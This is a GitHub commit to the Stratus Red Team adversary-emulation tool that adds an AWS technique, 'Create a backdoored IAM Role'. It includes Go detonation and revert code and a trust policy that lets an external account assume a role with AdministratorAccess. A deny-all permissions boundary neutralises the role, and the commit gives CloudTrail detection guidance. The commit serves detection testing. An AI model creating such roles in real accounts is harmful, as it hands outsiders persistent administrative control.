Skip to content

Commit

Permalink
New attack technique: Create backdoor IAM role (#478)
Browse files Browse the repository at this point in the history
* add aws iam-create-backdoor-role attack technique

* add code tags to CloudTrail parameters

* small code changes

* adjust trust policy

* correct terminology: 'trust policy' instead of 'iam policy' to avoid confusion

* safety: add permissions boundary that neutralizes the role

* typo and regenerate docs

---------

Co-authored-by: Christophe Tafani-Dereeper <christophe.tafanidereeper@datadoghq.com>
  • Loading branch information
adanalvarez and christophetd authored Feb 9, 2024
1 parent 904c352 commit ee5a7e8
Show file tree
Hide file tree
Showing 7 changed files with 229 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
---
title: Create a backdoored IAM Role
---

# Create a backdoored IAM Role




Platform: AWS

## MITRE ATT&CK Tactics


- Persistence

## Description


Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from
an external, fictitious attack AWS account.

<span style="font-variant: small-caps;">Warm-up</span>: None.

<span style="font-variant: small-caps;">Detonation</span>:

- Create a new IAM role with the following trust policy:

```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::193672423079:root"
},
"Action": "sts:AssumeRole"
}
]
}
```

- Attach the 'AdministratorAccess' managed IAM policy to it.

*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching a permissions boundary denying all actions. This could also be achieved with an inline role policy, but using a permissions boundary allows us to use a single API call (CreateRole).*

References:

- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate aws.persistence.iam-create-backdoor-role
```
## Detection


- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role),
which generates a finding when a role can be assumed from a new AWS account or publicly.

- Identify a call to <code>CreateRole</code> closely followed by <code>AttachRolePolicy</code> with an administrator policy.

- Identify a call to <code>CreateRole</code> that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event:

```
{
"eventSource": "iam.amazonaws.com",
"eventName": "CreateRole",
"requestParameters": {
"roleName": "malicious-iam-role",
"assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}"
}
}
```


2 changes: 2 additions & 0 deletions docs/attack-techniques/AWS/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -90,6 +90,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT

- [Create an administrative IAM User](./aws.persistence.iam-create-admin-user.md)

- [Create a backdoored IAM Role](./aws.persistence.iam-create-backdoor-role.md)

- [Create a Login Profile on an IAM User](./aws.persistence.iam-create-user-login-profile.md)

- [Backdoor Lambda Function Through Resource-Based Policy](./aws.persistence.lambda-backdoor-function.md)
Expand Down
1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Backdoor an IAM Role](./AWS/aws.persistence.iam-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence |
| [Create an Access Key on an IAM User](./AWS/aws.persistence.iam-backdoor-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
| [Create an administrative IAM User](./AWS/aws.persistence.iam-create-admin-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
| [Create a backdoored IAM Role](./AWS/aws.persistence.iam-create-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence |
| [Create a Login Profile on an IAM User](./AWS/aws.persistence.iam-create-user-login-profile.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
| [Backdoor Lambda Function Through Resource-Based Policy](./AWS/aws.persistence.lambda-backdoor-function.md) | [AWS](./AWS/index.md) | Persistence |
| [Add a Malicious Lambda Extension](./AWS/aws.persistence.lambda-layer-extension.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
Expand Down
7 changes: 7 additions & 0 deletions docs/index.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -221,6 +221,13 @@ AWS:
- Privilege Escalation
platform: AWS
isIdempotent: false
- id: aws.persistence.iam-create-backdoor-role
name: Create a backdoored IAM Role
isSlow: false
mitreAttackTactics:
- Persistence
platform: AWS
isIdempotent: false
- id: aws.persistence.iam-create-user-login-profile
name: Create a Login Profile on an IAM User
isSlow: false
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,127 @@
package aws

import (
"context"
_ "embed"
"errors"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
"log"
)

//go:embed malicious_trust_policy.json
var maliciousTrustPolicy string

var roleName string = "stratus-red-team-malicious-iam-role"
var adminPolicyArn string = "arn:aws:iam::aws:policy/AdministratorAccess"

func init() {
const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.persistence.iam-create-backdoor-role",
FriendlyName: "Create a backdoored IAM Role",
Description: `
Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from
an external, fictitious attack AWS account.
Warm-up: None.
Detonation:
- Create a new IAM role with the following trust policy:
` + codeBlock + `json
` + maliciousTrustPolicy + `
` + codeBlock + `
- Attach the 'AdministratorAccess' managed IAM policy to it.
*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching a permissions boundary denying all actions. This could also be achieved with an inline role policy, but using a permissions boundary allows us to use a single API call (CreateRole).*
References:
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me
`,
Detection: `
- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role),
which generates a finding when a role can be assumed from a new AWS account or publicly.
- Identify a call to <code>CreateRole</code> closely followed by <code>AttachRolePolicy</code> with an administrator policy.
- Identify a call to <code>CreateRole</code> that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event:
` + codeBlock + `
{
"eventSource": "iam.amazonaws.com",
"eventName": "CreateRole",
"requestParameters": {
"roleName": "malicious-iam-role",
"assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}"
}
}
` + codeBlock + `
`,
Platform: stratus.AWS,
IsIdempotent: false, // cannot create twice a role with the same name
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence},
Detonate: detonate,
Revert: revert,
})
}

func detonate(_ map[string]string, providers stratus.CloudProviders) error {
iamClient := iam.NewFromConfig(providers.AWS().GetConnection())

log.Println("Creating a malicious IAM role")
input := &iam.CreateRoleInput{
RoleName: &roleName,
AssumeRolePolicyDocument: &maliciousTrustPolicy,
PermissionsBoundary: aws.String("arn:aws:iam::aws:policy/AWSDenyAll"),
}

_, err := iamClient.CreateRole(context.Background(), input)
if err != nil {
return errors.New("Unable to create IAM role: " + err.Error())
}

log.Println("Backdoor IAM role created: " + roleName)

attachPolicyInput := &iam.AttachRolePolicyInput{
RoleName: &roleName,
PolicyArn: &adminPolicyArn,
}

_, err = iamClient.AttachRolePolicy(context.Background(), attachPolicyInput)
if err != nil {
log.Fatalf("Unable to attach AdministratorAccess policy to IAM role: %v", err)
}

log.Println("AdministratorAccess policy attached successfully")
return nil
}

func revert(_ map[string]string, providers stratus.CloudProviders) error {
iamClient := iam.NewFromConfig(providers.AWS().GetConnection())
detachPolicyInput := &iam.DetachRolePolicyInput{
RoleName: &roleName,
PolicyArn: &adminPolicyArn,
}
_, err := iamClient.DetachRolePolicy(context.Background(), detachPolicyInput)
if err != nil {
return errors.New("Unable to detach policy from IAM role: " + err.Error())
}
log.Println("Policy detached from IAM role: " + roleName)
log.Println("Deleting IAM role " + roleName)
input := &iam.DeleteRoleInput{
RoleName: &roleName,
}
_, err = iamClient.DeleteRole(context.Background(), input)
if err != nil {
return errors.New("Unable to delete IAM role: " + err.Error())
}

log.Println("IAM role deleted: " + roleName)
return nil
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::193672423079:root"
},
"Action": "sts:AssumeRole"
}
]
}
1 change: 1 addition & 0 deletions v2/internal/attacktechniques/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-role"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-user"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-admin-user"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-user-login-profile"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/lambda-backdoor-function"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/lambda-layer-extension"
Expand Down

0 comments on commit ee5a7e8

Please sign in to comment.